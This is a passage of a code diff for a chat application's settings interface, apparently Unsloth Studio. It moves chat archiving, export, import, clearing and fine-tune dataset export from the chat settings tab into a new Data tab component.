-    } catch (error) {
-      const remaining = await countAllChats().catch(() => count);
-      setCount(remaining);
-      toast.error(t("settings.chat.failedToClearChats"), {
-        description: error instanceof Error ? error.message : undefined,
-      });
-    } finally {
-      setClearing(false);
-    }
-  };
-
   return (
     <div className="flex flex-col gap-6">
       <header className="flex flex-col gap-1">
@@ -316,40 +188,6 @@ export function ChatTab() {
       </header>
 
       <SettingsSection title="Select model settings">
-        <SettingsRow
-          label="Load on selection"
-          alignTop={true}
-          description={
-            <span>
-              On: Unsloth auto-picks the best settings and loads it.
-              <br />
-              Off: opens Run settings to customize, then load.
-              <br />
-              The gear always opens Run settings:{" "}
-              <span className="ml-2 inline-flex items-center gap-3 align-middle">
-                <span className="font-mono text-xs text-foreground">
-                  Q4_K_M
-                </span>
-                <span className="text-[9px] font-medium text-green-400">
-                  downloaded
-                </span>
-                <span className="text-[10px] text-muted-foreground">16 GB</span>
-                <span className="inline-flex size-4 items-center justify-center rounded bg-black/[0.06] dark:bg-white/[0.08]">
-                  <HugeiconsIcon
-                    icon={Settings02Icon}
-                    strokeWidth={1.75}
-                    className="size-2.5 text-muted-foreground/80"
-                  />
-                </span>
-              </span>
-            </span>
-          }
-        >
-          <Switch
-            checked={loadOnSelection}
-            onCheckedChange={setLoadOnSelection}
-          />
-        </SettingsRow>
         <SettingsRow
           label="Expand quantizations"
           description={
@@ -397,12 +235,20 @@ export function ChatTab() {
       >
         {PLUS_MENU_SETTINGS.map((item) => (
           <SettingsRow key={item.id} label={item.label} icon={item.icon}>
+            {/* Canvas toggles menu visibility; the rest toggle pin placement. */}
             <Switch
-              checked={plusPins[item.id]}
-              onCheckedChange={() => togglePlusPin(item.id)}
+              checked={
+                item.id === "canvas" ? showCanvasMenuItem : plusPins[item.id]
+              }
+              onCheckedChange={
+                item.id === "canvas"
+                  ? setShowCanvasMenuItem
+                  : () => togglePlusPin(item.id)
+              }
             />
           </SettingsRow>
         ))}
+        <SettingsGroupDivider />
         <SettingsRow
           label={t("settings.chat.modelDisclaimer")}
           description={t("settings.chat.modelDisclaimerDescription")}
@@ -412,6 +258,24 @@ export function ChatTab() {
             onCheckedChange={setShowModelDisclaimer}
           />
         </SettingsRow>
+        <SettingsRow
+          label="Show response model"
+          description="Show model metadata in assistant responses."
+        >
+          <Switch
+            checked={showResponseModel}
+            onCheckedChange={setShowResponseModel}
+          />
+        </SettingsRow>
+      </SettingsSection>
+
+      <SettingsSection title={t("settings.general.chatDefaults")}>
+        <SettingsRow
+          label={t("settings.general.autoTitleNewChats")}
+          description={t("settings.general.autoTitleNewChatsDescription")}
+        >
+          <Switch checked={autoTitle} onCheckedChange={setAutoTitle} />
+        </SettingsRow>
       </SettingsSection>
 
       <SettingsSection title={t("settings.chat.artifacts.title")}>
@@ -438,193 +302,6 @@ export function ChatTab() {
           />
         </SettingsRow>
       </SettingsSection>
-
-      <SettingsSection title={t("settings.chat.data")}>
-        <SettingsRow
-          label="Archived chats"
-          description="View and manage chats you have archived."
-        >
-          <Button
-            variant="outline"
-            size="sm"
-            onClick={() => setArchivedOpen(true)}
-          >
-            Manage
-          </Button>
-        </SettingsRow>
-
-        <SettingsRow
-          label="Confirm before deleting"
-          description="Ask for confirmation before a chat is deleted. Turn off to delete instantly."
-        >
-          <Switch
-            checked={confirmDeleteChats}
-            onCheckedChange={setConfirmDeleteChats}
-          />
-        </SettingsRow>
-
-        <SettingsRow
-          label={t("settings.chat.exportHistory")}
-          description={t("settings.chat.exportHistoryDescription")}
-        >
-          <Button
-            variant="outline"
-            size="sm"
-            onClick={handleExport}
-            disabled={exporting || count === 0}
-          >
-            <HugeiconsIcon icon={Download01Icon} className="size-3.5 mr-1.5" />
-            {exporting
-              ? t("settings.chat.exportingAction")
-              : t("settings.chat.exportAction")}
-          </Button>
-        </SettingsRow>
-
-        <SettingsRow
-          label={t("settings.chat.exportConversations")}
-          description={t("settings.chat.exportConversationsDescription")}
-        >
-          <DropdownMenu>
-            <DropdownMenuTrigger asChild={true}>
-              <Button variant="outline" size="sm" disabled={count === 0}>
-                <HugeiconsIcon
-                  icon={Download01Icon}
-                  className="size-3.5 mr-1.5"
-                />
-                {t("settings.chat.exportConversationsAction")}
-              </Button>
-            </DropdownMenuTrigger>
-            <DropdownMenuContent align="end" className="w-56">
-              {(
-                [
-                  { scope: "recents", label: "exportScopeRecents" },
-                  { scope: "all", label: "exportScopeAll" },
-                ] as const
-              ).map(({ scope, label }) => (
-                <DropdownMenuSub key={scope}>
-                  <DropdownMenuSubTrigger>
-                    <HugeiconsIcon
-                      icon={Download01Icon}
-                      className="size-3.5 mr-1"
-                    />
-                    {t(`settings.chat.${label}`)}
-                  </DropdownMenuSubTrigger>
-                  <DropdownMenuSubContent className="w-56">
-                    {EXPORT_FORMATS_LIST.map(({ fmt, label: fmtLabel }) => (
-                      <DropdownMenuItem
-                        key={`${scope}-m-${fmt}`}
-                        onSelect={() =>
-                          void bulkExportConversationsByScope(scope, fmt, true)
-                        }
-                      >
-                        {fmtLabel} {t("settings.chat.exportCombinedSuffix")}
-                      </DropdownMenuItem>
-                    ))}
-                    <DropdownMenuSeparator />
-                    {EXPORT_FORMATS_LIST.map(({ fmt, label: fmtLabel }) => (
-                      <DropdownMenuItem
-                        key={`${scope}-s-${fmt}`}
-                        onSelect={() =>
-                          void bulkExportConversationsByScope(scope, fmt, false)
-                        }
-                      >
-                        {fmtLabel} {t("settings.chat.exportPerChatSuffix")}
-                      </DropdownMenuItem>
-                    ))}
-                  </DropdownMenuSubContent>
-                </DropdownMenuSub>
-              ))}
-            </DropdownMenuContent>
-          </DropdownMenu>
-        </SettingsRow>
-
-        <SettingsRow
-          label={t("settings.chat.importChats")}
-          description={t("settings.chat.importChatsDescription")}
-        >
-          <Button
-            variant="outline"
-            size="sm"
-            onClick={() => importInputRef.current?.click()}
-          >
-            <HugeiconsIcon icon={Upload01Icon} className="size-3.5 mr-1.5" />
-            {t("settings.chat.importChatsAction")}
-          </Button>
-          <input
-            ref={importInputRef}
-            type="file"
-            accept=".jsonl,.ndjson,.csv"
-            className="hidden"
-            onChange={(e) => {
-              const file = e.target.files?.[0];
-              e.target.value = "";
-              if (file) void handleImport(file);
-            }}
-          />
-        </SettingsRow>
-
-        <SettingsRow
-          destructive={true}
-          // divide-y already draws the row separator; drop the extra border.
-          className="border-t-0 mt-0 pt-3"
-          label={t("settings.chat.clearAllChats")}
-          description={
-            count === null
-              ? t("settings.chat.clearAllChatsDescription")
-              : count === 0
-                ? t("settings.chat.noChatsToClear")
-                : count === 1
-                  ? t("settings.chat.clearOneChatDescription")
-                  : t("settings.chat.clearChatCountDescription", { count })
-          }
-        >
-          <Button
-            variant="outline"
-            size="sm"
-            onClick={() => setConfirmOpen(true)}
-            disabled={count === 0}
-            className="text-destructive hover:text-destructive hover:border-destructive/60"
-          >
-            <HugeiconsIcon icon={Delete02Icon} className="size-3.5 mr-1.5" />
-            {t("settings.chat.clearChatsAction")}
-          </Button>
-        </SettingsRow>
-      </SettingsSection>
-
-      <ArchivedChatsDialog open={archivedOpen} onOpenChange={setArchivedOpen} />
-
-      <Dialog open={confirmOpen} onOpenChange={setConfirmOpen}>
-        <DialogContent className="max-w-md">
-          <DialogHeader>
-            <DialogTitle>
-              {count === 1
-                ? t("settings.chat.clearOneChatTitle")
-                : t("settings.chat.clearChatsTitle", { count: count ?? 0 })}
-            </DialogTitle>
-            <DialogDescription>
-              {t("settings.chat.clearChatsConfirmDescription")}
-            </DialogDescription>
-          </DialogHeader>
-          <DialogFooter>
-            <Button variant="outline" onClick={() => setConfirmOpen(false)}>
-              {t("common.cancel")}
-            </Button>
-            <Button
-              onClick={handleClear}
-              disabled={clearing}
-              className="bg-destructive hover:bg-destructive/90 text-destructive-foreground"
-            >
-              {clearing
-                ? t("settings.chat.clearingAction")
-                : count === 1
-                  ? t("settings.chat.clearOneChatAction")
-                  : t("settings.chat.clearChatCountAction", {
-                      count: count ?? 0,
-                    })}
-            </Button>
-          </DialogFooter>
-        </DialogContent>
-      </Dialog>
     </div>
   );
 }
diff --git a/studio/frontend/src/features/settings/tabs/data-tab.tsx b/studio/frontend/src/features/settings/tabs/data-tab.tsx
new file mode 100644
index 0000000000..e2b524f46e
--- /dev/null
+++ b/studio/frontend/src/features/settings/tabs/data-tab.tsx
@@ -0,0 +1,758 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { Button } from "@/components/ui/button";
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from "@/components/ui/dialog";
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuSeparator,
+  DropdownMenuSub,
+  DropdownMenuSubContent,
+  DropdownMenuSubTrigger,
+  DropdownMenuTrigger,
+} from "@/components/ui/dropdown-menu";
+import { Spinner } from "@/components/ui/spinner";
+import { Switch } from "@/components/ui/switch";
+import { usePlatformStore } from "@/config/env";
+import {
+  EXPORT_FORMATS_LIST,
+  type FineTuneFormat,
+  archiveAllChatItems,
+  bulkExportConversationsByScope,
+  clearAllChats,
+  countAllChats,
+  downloadArchivedChatExport,
+  downloadChatExport,
+  exportFineTuneJsonl,
+  importConversationsFromFile,
+  useChatPreferencesStore,
+  useChatRuntimeStore,
+  useChatSidebarItems,
+} from "@/features/chat";
+import { useT } from "@/i18n";
+
+import { isTauri } from "@/lib/api-base";
+import { isDownloadCancelled, pickNativeChatImport } from "@/lib/native-files";
+import {
+  ChevronDownStandardIcon,
+  ChevronRightStandardIcon,
+} from "@/lib/chevron-icons";
+import { toast } from "@/lib/toast";
+import {
+  Archive02Icon,
+  ArrowLeft01Icon,
+  Delete02Icon,
+  Download01Icon,
+  Tick02Icon,
+  Upload01Icon,
+} from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { useNavigate, useRouterState } from "@tanstack/react-router";
+import { useEffect, useRef, useState } from "react";
+import { ArchivedChatsView } from "../components/archived-chats-dialog";
+import {
+  createFineTuneRecipeFromChats,
+  loadFineTuneDatasetInTrainTab,
+} from "../components/finetune-recipe";
+import { SettingsRow } from "../components/settings-row";
+import { SettingsSection } from "../components/settings-section";
+import { UploadedFilesView } from "../components/uploaded-files-dialog";
+import { useSettingsDialogStore } from "../stores/settings-dialog-store";
+
+export function DataTab() {
+  const t = useT();
+  const navigate = useNavigate();
+  const archivedChatsRequested = useSettingsDialogStore(
+    (s) => s.archivedChatsRequested,
+  );
+  const consumeArchivedChatsRequest = useSettingsDialogStore(
+    (s) => s.consumeArchivedChatsRequest,
+  );
+  const [confirmOpen, setConfirmOpen] = useState(false);
+  const [archiveConfirmOpen, setArchiveConfirmOpen] = useState(false);
+  // Subpages swap the Data tab body instead of opening nested dialogs.
+  const [subpage, setSubpage] = useState<"main" | "archived" | "files">(
+    archivedChatsRequested ? "archived" : "main",
+  );
+  const [count, setCount] = useState<number | null>(null);
+  const [exporting, setExporting] = useState(false);
+  const [archivedExporting, setArchivedExporting] = useState(false);
+  // Gates the archived subpage Export button.
+  const { archivedItems } = useChatSidebarItems({ requireMessages: false });
+  const [clearing, setClearing] = useState(false);
+  const [archiving, setArchiving] = useState(false);
+  const [fineTuneExporting, setFineTuneExporting] = useState(false);
+  const [openingRecipe, setOpeningRecipe] = useState(false);
+  const [loadingTraining, setLoadingTraining] = useState(false);
+  // Chat-only hosts redirect /studio back to /chat, so loading a dataset in
+  // the Train tab would upload it and then strand the user; gate the action
+  // the same way the sidebar gates Train.
+  const chatOnly = usePlatformStore((s) => s.isChatOnly());
+  const [fineTuneAction, setFineTuneAction] = useState<
+    "train" | "recipes" | "export"
+  >(chatOnly ? "export" : "train");
+  // Chat Completions (OpenAI messages) is the only export format we ship.
+  const fineTuneFormat: FineTuneFormat = "openai";
+
+  // The MLX self-heal can flip chat-only while the dialog is open.
+  useEffect(() => {
+    if (chatOnly) {
+      setFineTuneAction((a) => (a === "train" ? "export" : a));
+    }
+  }, [chatOnly]);
+  // Requests can arrive after Data is already mounted (for example from the
+  // archive-all toast), so always switch before consuming the flag.
+  useEffect(() => {
+    if (!archivedChatsRequested) return;
+    let cancelled = false;
+    queueMicrotask(() => {
+      if (cancelled) return;
+      setSubpage("archived");
+      consumeArchivedChatsRequest();
+    });
+    return () => {
+      cancelled = true;
+    };
+  }, [archivedChatsRequested, consumeArchivedChatsRequest]);
+
+  const confirmDeleteChats = useChatPreferencesStore(
+    (state) => state.confirmDeleteChats,
+  );
+  const setConfirmDeleteChats = useChatPreferencesStore(
+    (state) => state.setConfirmDeleteChats,
+  );
+
+  const storeThreadId = useChatRuntimeStore((s) => s.activeThreadId);
+  // Open chat id from the route (single thread or compare pair), mirroring
+  // ArchivedChatsView: compare panes only live in the search params.
+  const openChatId = useRouterState({
+    select: (s) => {
+      if (!s.location.pathname.startsWith("/chat")) return undefined;
+      const search = s.location.search as Record<string, string | undefined>;
+      return search.thread ?? search.compare ?? storeThreadId ?? undefined;
+    },
+  });
+
+  useEffect(() => {
+    void countAllChats().then(setCount);
+  }, []);
+
+  const handleExport = async () => {
+    setExporting(true);
+    try {
+      await downloadChatExport();
+    } catch (error) {
+      if (!isDownloadCancelled(error)) {
+        toast.error("Could not export chats", {
+          description: error instanceof Error ? error.message : String(error),
+        });
+      }
+    } finally {
+      setExporting(false);
+    }
+  };
+
+  const handleExportArchived = async () => {
+    setArchivedExporting(true);
+    try {
+      const exported = await downloadArchivedChatExport();
+      toast.success(
+        exported === 0
+          ? t("settings.data.noArchivedChatsToExport")
+          : exported === 1
+            ? t("settings.data.exportedOneArchivedChat")
+            : t("settings.data.exportedArchivedChatCount", { count: exported }),
+      );
+    } catch (error) {
+      if (!isDownloadCancelled(error)) {
+        toast.error(t("settings.data.failedToExportArchivedChats"), {
+          description: error instanceof Error ? error.message : undefined,
+        });
+      }
+    } finally {
+      setArchivedExporting(false);
+    }
+  };
+
+  const importInputRef = useRef<HTMLInputElement>(null);
+  const handleImport = async (file: File) => {
+    try {
+      const imported = await importConversationsFromFile(file, null);
+      if (imported === 0) {
+        toast.info(t("settings.chat.importNoConversations"));
+      } else {
+        toast.success(
+          imported === 1
+            ? t("settings.chat.importedOneChat")
+            : t("settings.chat.importedChatCount", { count: imported }),
+        );
+        setCount(await countAllChats().catch(() => count));
+      }
+    } catch {
+      toast.error(t("settings.chat.importFailed"));
+    }
+  };
+
+  const handleImportClick = async () => {
+    if (!isTauri) {
+      importInputRef.current?.click();
+      return;
+    }
+    try {
+      const selected = await pickNativeChatImport();
+      if (!selected) {
+        return;
+      }
+      await handleImport(new File([selected.content], selected.name));
+    } catch (error) {
+      toast.error(t("settings.chat.importFailed"), {
+        description: error instanceof Error ? error.message : String(error),
+      });
+    }
+  };
+
+  const handleArchiveAll = async () => {
+    setArchiving(true);
+    try {
+      const archived = await archiveAllChatItems(openChatId, (view) => {
+        navigate({ to: "/chat", search: { new: view.newThreadNonce } });
+      });
+      setArchiveConfirmOpen(false);
+      toast.success(
+        archived === 0
+          ? t("settings.data.noChatsToArchive")
+          : archived === 1
+            ? t("settings.data.archivedOneChat")
+            : t("settings.data.archivedChatCount", { count: archived }),
+      );
+    } catch (error) {
+      toast.error(t("settings.data.failedToArchiveChats"), {
+        description: error instanceof Error ? error.message : undefined,
+      });
+    } finally {
+      setArchiving(false);
+    }
+  };
+
+  const handleFineTuneExport = async () => {
+    setFineTuneExporting(true);
+    try {
+      await exportFineTuneJsonl(fineTuneFormat);
+    } catch (error) {
+      if (!isDownloadCancelled(error)) {
+        toast.error(t("settings.data.fineTuneExportFailed"), {
+          description: error instanceof Error ? error.message : undefined,
+        });
+      }
+    } finally {
+      setFineTuneExporting(false);
+    }
+  };
+
+  const handleOpenInRecipes = async () => {
+    setOpeningRecipe(true);
+    try {
+      const recipeId = await createFineTuneRecipeFromChats(fineTuneFormat);
+      if (!recipeId) return;
+      useSettingsDialogStore.getState().closeDialog();
+      void navigate({ to: "/data-recipes/$recipeId", params: { recipeId } });
+    } catch (error) {
+      toast.error(t("settings.data.fineTuneRecipeFailed"), {
+        description: error instanceof Error ? error.message : undefined,
+      });
+    } finally {
+      setOpeningRecipe(false);
+    }
+  };
+
+  const handleUseInTraining = async () => {
+    setLoadingTraining(true);
+    try {
+      const loaded = await loadFineTuneDatasetInTrainTab(fineTuneFormat);
+      if (!loaded) return;
+      useSettingsDialogStore.getState().closeDialog();
+      void navigate({ to: "/studio" });
+    } catch (error) {
+      toast.error(t("settings.data.fineTuneTrainFailed"), {
+        description: error instanceof Error ? error.message : undefined,
+      });
+    } finally {
+      setLoadingTraining(false);
+    }
+  };
+
+  const fineTuneActionLabels = {
+    train: t("settings.data.fineTuneTrainAction"),
+    recipes: t("settings.data.fineTuneOpenRecipesAction"),
+    export: t("settings.data.fineTuneExportAction"),
+  } as const;
+  const fineTuneBusy = loadingTraining || openingRecipe || fineTuneExporting;
+  const runFineTuneAction = () => {
+    if (fineTuneAction === "train") {
+      if (chatOnly) return;
+      void handleUseInTraining();
+    } else if (fineTuneAction === "recipes") void handleOpenInRecipes();
+    else void handleFineTuneExport();
+  };
+
+  const handleClear = async () => {
+    setClearing(true);
+    try {
+      const result = await clearAllChats();
+      const clearedCount = result.deletedThreadIds.length;
+      const hasFailedStore =
+        result.backend === "failed" || result.legacy === "failed";
+      if (!hasFailedStore && result.failedThreadIds.length === 0) {
+        setCount(0);
+        setConfirmOpen(false);
+        toast.success(
+          clearedCount === 0
+            ? t("settings.chat.clearedAllChats")
+            : clearedCount === 1
+              ? t("settings.chat.clearedOneChat")
+              : t("settings.chat.clearedChatCount", { count: clearedCount }),
+        );
+        return;
+      }
+
+      const fallbackRemaining =
+        result.failedThreadIds.length > 0
+          ? result.failedThreadIds.length
+          : (count ?? 0);
+      const remaining = await countAllChats().catch(() => fallbackRemaining);
+      setCount(remaining);
+      setConfirmOpen(false);
+      toast.warning(t("settings.chat.someChatsCouldNotBeCleared"), {
+        description:
+          result.failedThreadIds.length > 0
+            ? clearedCount === 1 && result.failedThreadIds.length === 1
+              ? t("settings.chat.oneChatClearedRemainOne")
+              : clearedCount === 1
+                ? t("settings.chat.oneChatClearedRemain", {
+                    remainingCount: result.failedThreadIds.length,
+                  })
+                : result.failedThreadIds.length === 1
+                  ? t("settings.chat.chatsClearedRemainOne", { clearedCount })
+                  : t("settings.chat.chatsClearedRemain", {
+                      clearedCount,
+                      remainingCount: result.failedThreadIds.length,
+                    })
+            : remaining === 1
+              ? t("settings.chat.storageClearFailedOne")
+              : t("settings.chat.storageClearFailed", { count: remaining }),
+      });
+    } catch (error) {
+      const remaining = await countAllChats().catch(() => count);
+      setCount(remaining);
+      toast.error(t("settings.chat.failedToClearChats"), {
+        description: error instanceof Error ? error.message : undefined,
+      });
+    } finally {
+      setClearing(false);
+    }
+  };
+
+  if (subpage === "archived") {
+    return (
+      <div className="flex flex-col gap-6">
+        <header className="flex items-center gap-2">
+          <button
+            type="button"
+            onClick={() => setSubpage("main")}
+            aria-label={`Back to ${t("settings.data.title")}`}
+            className="inline-flex size-7 items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-muted hover:text-foreground"
+          >
+            <HugeiconsIcon icon={ArrowLeft01Icon} className="size-4" />
+          </button>
+          <h1 className="text-xl font-semibold font-heading">
+            {t("settings.data.title")}
+          </h1>
+        </header>
+        <div className="flex items-start justify-between gap-4">
+          <div className="flex flex-col gap-1">
+            <h2 className="text-sm font-semibold">
+              {t("settings.data.archivedChats")}
+            </h2>
+            <p className="text-xs text-muted-foreground">
+              {t("settings.data.archivedChatsDescription")}
+            </p>
+          </div>
+          {archivedItems.length > 0 && (
+            <Button
+              variant="outline"
+              size="sm"
+              className="shrink-0"
+              onClick={handleExportArchived}
+              disabled={archivedExporting}
+            >
+              {archivedExporting ? (
+                <Spinner className="size-4" />
+              ) : (
+                <HugeiconsIcon
+                  icon={Download01Icon}
+                  strokeWidth={1.75}
+                  className="size-4"
+                />
+              )}
+              {archivedExporting
+                ? t("settings.data.exportingArchivedChats")
+                : t("settings.data.exportArchivedChats")}
+            </Button>
+          )}
+        </div>
+        <ArchivedChatsView />
+      </div>
+    );
+  }
+
+  if (subpage === "files") {
+    return (
+      <div className="flex flex-col gap-6">
+        <header className="flex items-center gap-2">
+          <button
+            type="button"
+            onClick={() => setSubpage("main")}
+            aria-label={`Back to ${t("settings.data.title")}`}
+            className="inline-flex size-7 items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-muted hover:text-foreground"
+          >
+            <HugeiconsIcon icon={ArrowLeft01Icon} className="size-4" />
+          </button>
+          <h1 className="text-xl font-semibold font-heading">
+            {t("settings.data.title")}
+          </h1>
+        </header>
+        <div className="flex flex-col gap-1">
+          <h2 className="text-sm font-semibold">
+            {t("settings.data.uploadedFiles")}
+          </h2>
+          <p className="text-xs text-muted-foreground">
+            {t("settings.data.uploadedFilesDescription")}
+          </p>
+        </div>
+        <UploadedFilesView />
+      </div>
+    );
+  }
+
+  return (
+    <div className="flex flex-col gap-6">
+      <header className="flex flex-col gap-1">
+        <h1 className="text-xl font-semibold font-heading">
+          {t("settings.data.title")}
+        </h1>
+        <p className="text-xs text-muted-foreground">
+          {t("settings.data.description")}
+        </p>
+      </header>
+
+      <div className="flex flex-col divide-y divide-border/60">
+        <SettingsRow
+          alignTop={true}
+          label={t("settings.data.fineTuneExport")}
+          description={t("settings.data.fineTuneExportDescription")}
+        >
+          <div className="flex items-center gap-2">
+            <DropdownMenu>
+              <DropdownMenuTrigger asChild={true}>
+                {/* Fixed width so switching actions never resizes the row. */}
+                <Button
+                  variant="outline"
+                  size="sm"
+                  disabled={count === 0}
+                  className="w-44 justify-between"
+                >
+                  <span className="truncate">
+                    {fineTuneActionLabels[fineTuneAction]}
+                  </span>
+                  <HugeiconsIcon
+                    icon={ChevronDownStandardIcon}
+                    className="size-3.5 shrink-0"
+                  />
+                </Button>
+              </DropdownMenuTrigger>
+              <DropdownMenuContent align="end" className="w-56">
+                {(["export", "train", "recipes"] as const).map((action) => (
+                  <DropdownMenuItem
+                    key={action}
+                    disabled={action === "train" && chatOnly}
+                    onSelect={() => setFineTuneAction(action)}
+                  >
+                    <span className="flex-1">
+                      {fineTuneActionLabels[action]}
+                    </span>
+                    {fineTuneAction === action ? (
+                      <HugeiconsIcon icon={Tick02Icon} className="size-4" />
+                    ) : null}
+                  </DropdownMenuItem>
+                ))}
+              </DropdownMenuContent>
+            </DropdownMenu>
+            <Button
+              size="icon-sm"
+              onClick={runFineTuneAction}
+              disabled={fineTuneBusy || count === 0}
+              aria-label={t("settings.data.fineTuneRunAction")}
+              title={`${t("settings.data.fineTuneRunAction")}: ${fineTuneActionLabels[fineTuneAction]}`}
+              className="shrink-0 rounded-full"
+            >
+              {fineTuneBusy ? (
+                <Spinner className="size-4" />
+              ) : (
+                <HugeiconsIcon
+                  icon={ChevronRightStandardIcon}
+                  strokeWidth={2.5}
+                  className="size-4"
+                />
+              )}
+            </Button>
+          </div>
+        </SettingsRow>
+
+        <SettingsRow
+          label={t("settings.data.archivedChats")}
+          description={t("settings.data.archivedChatsDescription")}
+        >
+          <Button
+            variant="outline"
+            size="sm"
+            onClick={() => setSubpage("archived")}
+          >
+            {t("settings.data.manageAction")}
+          </Button>
+        </SettingsRow>
+
+        <SettingsRow
+          label={t("settings.data.archiveAllChats")}
+          description={t("settings.data.archiveAllChatsDescription")}
+        >
+          <Button
+            variant="outline"
+            size="sm"
+            onClick={() => setArchiveConfirmOpen(true)}
+          >
+            <HugeiconsIcon icon={Archive02Icon} className="size-3.5 mr-1.5" />
+            {t("settings.data.archiveAllAction")}
+          </Button>
+        </SettingsRow>
+
+        <SettingsRow
+          label={t("settings.data.confirmBeforeDeleting")}
+          description={t("settings.data.confirmBeforeDeletingDescription")}
+        >
+          <Switch
+            checked={confirmDeleteChats}
+            onCheckedChange={setConfirmDeleteChats}
+          />
+        </SettingsRow>
+
+        <SettingsRow
+          label={t("settings.chat.exportHistory")}
+          description={t("settings.chat.exportHistoryDescription")}
+        >
+          <Button
+            variant="outline"
+            size="sm"
+            onClick={handleExport}
+            disabled={exporting || count === 0}
+          >
+            <HugeiconsIcon icon={Download01Icon} className="size-3.5 mr-1.5" />
+            {exporting
+              ? t("settings.chat.exportingAction")
+              : t("settings.chat.exportAction")}
+          </Button>
+        </SettingsRow>
+
+        <SettingsRow
+          label={t("settings.chat.exportConversations")}
+          description={t("settings.chat.exportConversationsDescription")}
+        >
+          <DropdownMenu>
+            <DropdownMenuTrigger asChild={true}>
+              <Button variant="outline" size="sm" disabled={count === 0}>
+                <HugeiconsIcon
+                  icon={Download01Icon}
+                  className="size-3.5 mr-1.5"
+                />
+                {t("settings.chat.exportConversationsAction")}
+              </Button>
+            </DropdownMenuTrigger>
+            <DropdownMenuContent align="end" className="w-56">
+              {(
+                [
+                  { scope: "recents", label: "exportScopeRecents" },
+                  { scope: "all", label: "exportScopeAll" },
+                ] as const
+              ).map(({ scope, label }) => (
+                <DropdownMenuSub key={scope}>
+                  <DropdownMenuSubTrigger>
+                    <HugeiconsIcon
+                      icon={Download01Icon}
+                      className="size-3.5 mr-1"
+                    />
+                    {t(`settings.chat.${label}`)}
+                  </DropdownMenuSubTrigger>
+                  <DropdownMenuSubContent className="w-56">
+                    {EXPORT_FORMATS_LIST.map(({ fmt, label: fmtLabel }) => (
+                      <DropdownMenuItem
+                        key={`${scope}-m-${fmt}`}
+                        onSelect={() =>
+                          void bulkExportConversationsByScope(scope, fmt, true)
+                        }
+                      >
+                        {fmtLabel} {t("settings.chat.exportCombinedSuffix")}
+                      </DropdownMenuItem>
+                    ))}
+                    <DropdownMenuSeparator />
+                    {EXPORT_FORMATS_LIST.map(({ fmt, label: fmtLabel }) => (
+                      <DropdownMenuItem
+                        key={`${scope}-s-${fmt}`}
+                        onSelect={() =>
+                          void bulkExportConversationsByScope(scope, fmt, false)
+                        }
+                      >
+                        {fmtLabel} {t("settings.chat.exportPerChatSuffix")}
+                      </DropdownMenuItem>
+                    ))}
+                  </DropdownMenuSubContent>
+                </DropdownMenuSub>
+              ))}
+            </DropdownMenuContent>
+          </DropdownMenu>
+        </SettingsRow>
+
+        <SettingsRow
+          destructive={true}
+          // divide-y already draws the row separator; drop the extra border.
+          className="border-t-0 mt-0 pt-3"
+          label={t("settings.chat.clearAllChats")}
+          description={
+            count === null
+              ? t("settings.chat.clearAllChatsDescription")
+              : count === 0
+                ? t("settings.chat.noChatsToClear")
+                : count === 1
+                  ? t("settings.chat.clearOneChatDescription")
+                  : t("settings.chat.clearChatCountDescription", { count })
+          }
+        >
+          <Button
+            variant="outline"
+            size="sm"
+            onClick={() => setConfirmOpen(true)}
+            disabled={count === 0}
+            className="text-destructive hover:text-destructive hover:border-destructive/60"
+          >
+            <HugeiconsIcon icon={Delete02Icon} className="size-3.5 mr-1.5" />
+            {t("settings.chat.clearChatsAction")}
+          </Button>
+        </SettingsRow>
+
+        <SettingsRow
+          label={t("settings.chat.importChats")}
+          description={t("settings.chat.importChatsDescription")}
+        >
+          <Button
+            variant="outline"
+            size="sm"
+            onClick={() => void handleImportClick()}
+          >
+            <HugeiconsIcon icon={Upload01Icon} className="size-3.5 mr-1.5" />
+            {t("settings.chat.importChatsAction")}
+          </Button>
+          <input
+            ref={importInputRef}
+            type="file"
+            accept=".jsonl,.ndjson,.csv"
+            className="hidden"
+            onChange={(e) => {
+              const file = e.target.files?.[0];
+              e.target.value = "";
+              if (file) void handleImport(file);
+            }}
+          />
+        </SettingsRow>
+      </div>
+
+      <SettingsSection title={t("settings.data.filesSection")}>
+        <SettingsRow
+          label={t("settings.data.uploadedFiles")}
+          description={t("settings.data.uploadedFilesDescription")}
+        >
+          <Button
+            variant="outline"
+            size="sm"
+            onClick={() => setSubpage("files")}
+          >
+            {t("settings.data.manageAction")}
+          </Button>
+        </SettingsRow>
+      </SettingsSection>
+
+      <Dialog open={archiveConfirmOpen} onOpenChange={setArchiveConfirmOpen}>
+        <DialogContent className="max-w-md">
+          <DialogHeader>
+            <DialogTitle>{t("settings.data.archiveAllChatsTitle")}</DialogTitle>
+            <DialogDescription>
+              {t("settings.data.archiveAllChatsConfirmDescription")}
+            </DialogDescription>
+          </DialogHeader>
+          <DialogFooter>
+            <Button
+              variant="outline"
+              onClick={() => setArchiveConfirmOpen(false)}
+            >
+              {t("common.cancel")}
+            </Button>
+            <Button onClick={handleArchiveAll} disabled={archiving}>
+              {archiving
+                ? t("settings.data.archivingAction")
+                : t("settings.data.archiveAllAction")}
+            </Button>
+          </DialogFooter>
+        </DialogContent>
+      </Dialog>
+
+      <Dialog open={confirmOpen} onOpenChange={setConfirmOpen}>
+        <DialogContent className="max-w-md">
+          <DialogHeader>
+            <DialogTitle>
+              {count === 1
+                ? t("settings.chat.clearOneChatTitle")
+                : t("settings.chat.clearChatsTitle", { count: count ?? 0 })}
+            </DialogTitle>
+            <DialogDescription>
+              {t("settings.chat.clearChatsConfirmDescription")}
+            </DialogDescription>
+          </DialogHeader>
+          <DialogFooter>
+            <Button variant="outline" onClick={() => setConfirmOpen(false)}>
+              {t("common.cancel")}
+            </Button>
+            <Button
+              onClick={handleClear}
+              disabled={clearing}
+              className="bg-destructive hover:bg-destructive/90 text-destructive-foreground"
+            >
+              {clearing
+                ? t("settings.chat.clearingAction")
+                : count === 1
+                  ? t("settings.chat.clearOneChatAction")
+                  : t("settings.chat.clearChatCountAction", {
+                      count: count ?? 0,
+                    })}
+            </Button>
+          </DialogFooter>
+        </DialogContent>
+      </Dialog>
+    </div>
+  );
+}
